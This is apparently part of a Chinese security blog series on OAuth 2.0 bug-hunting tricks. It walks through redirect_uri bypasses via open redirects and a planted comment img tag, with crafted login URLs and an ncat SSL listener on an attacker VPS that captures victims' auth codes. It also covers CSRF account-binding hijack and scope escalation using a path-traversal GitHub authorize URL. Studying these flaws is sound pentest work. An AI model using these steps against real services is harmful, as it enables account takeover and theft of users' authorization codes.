主页 > 网络知识 > 你可能不知道的挖洞小技巧系列之OAuth 2.0(3)

你可能不知道的挖洞小技巧系列之OAuth 2.0(3)

这其实也属于校验不完整的而绕过的一种情况,因为OAuth提供方只对回调URL的根域等进行了校验,当回调的URL根域确实是原正常回调URL的根域,但实际是该域下的一个存在URL跳转漏洞的URL,就可以构造跳转到钓鱼页面,就可以绕过回调URL的校验了。由于此种方式只需要再结合一处URL跳转漏洞即可实现,暂不做案例演示。

第四种情况:结合跨站图片

通过在客户端或者客户端子域的公共评论区等模块,插入构造好请求的img标签,将redirect_uri参数修改为加构造好img标签的URL,利用本身的域名去绕过白名单限制。

如下图所示,在评出处填写,此时当有用户访问这个页面时就会请求我们的vps服务器。

 

你可能不知道的挖洞小技巧系列之OAuth 2.0

 

退出登录,进入登录页面,点击支付宝快速登录。

 

你可能不知道的挖洞小技巧系列之OAuth 2.0

 

复制URL链接,修改redirect_uri参数为我们刚才评论的地址(要用两次url编码)。

原url:

https://auth.alipay.com/login/index.htm?goto=https://xxx.com:443/oauth2/publicAppAuthorize.htm?app_id=20190&redirect_uri=https://xxx.com/?login/bind/alipay/callback?token=oN7Jvtq7M&scope=auth_user

两次url编码:

https%253a//auth.alipay.com/login/index.htm%253fgoto%253dhttps%253a//xxx.com%253a443/oauth2/publicAppAuthorize.htm%253fapp_id%253d20190%2526redirect_uri%253dhttps%253a//xxx.com/%253flogin/bind/alipay/callback%253ftoken%253doN7Jvtq7M%2526scope%253dauth_user

在VPS上生成证书,然后监听1234端口

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

apt install nmap

ncat --ssl --ssl-cert cert.pem --ssl-key key.pem -lvnp 1234

你可能不知道的挖洞小技巧系列之OAuth 2.0

将修改好的URL链接发给普通用户,一旦他们点击登录,攻击者就能拿到他们的auth_code。

你可能不知道的挖洞小技巧系列之OAuth 2.0

 

2.CSRF绑定劫持漏洞

攻击者抓取认证请求构造恶意url,并诱骗已经登录的网用户点击(比如通过邮件或者QQ等方式)。认证成功后用户的帐号会同攻击者的帐号绑定到一起。

如某云的历史漏洞2014-060493,某厂商的OAuth 2.0 认证流程中,当攻击者发起一个认证请求:

https://api.weibo.com/oauth2/authorize?client_id=**&redirect_uri=http%3A%2F%2F%2Fconnect_sync%2Fsina_v2_sync.php&response_type=code

并截获OAuth 2.0 认证请求的返回。

?code=6e20eb6bfea2d969a8fa5435a5d106d5

然后攻击者诱骗已经登录的网用户点击。此厂商会自动将用户的帐号同攻击者的帐号绑定到一起。此后攻击者便可以通过其新浪帐号访问受害用户的帐号。

OAuth 2.0提供了state参数用于防御CSRF.认证服务器在接收到的state参数按原样返回给redirect_uri,客户端收到该参数并验证与之前生成的值是否一致.所以此漏洞适用于未配置state参数授权的认证方式。

3.Scope越权访问

这个案例展示了scope权限控制不当带来的安全风险,同时将授权劫持的几个方面演绎的淋漓尽致。

案例: https://www.oschina.net/question/12_143105

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&scope=repo,gists,user,delete_repo,notifications

上面案例中的scope参数扩大到了用户的代码库等其它权限。于是越权拥有了用户的私有代码区操作权限。

 

总结

在我们日常的渗透测试以及学习研究过程中,不仅仅要拓展对常规漏洞(owasp top10)的研究深度,也应该拓展漏洞的宽度,毕竟你的知识面直接决定了你的攻击面。

 

你可能不知道的挖洞小技巧系列之OAuth 2.0

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!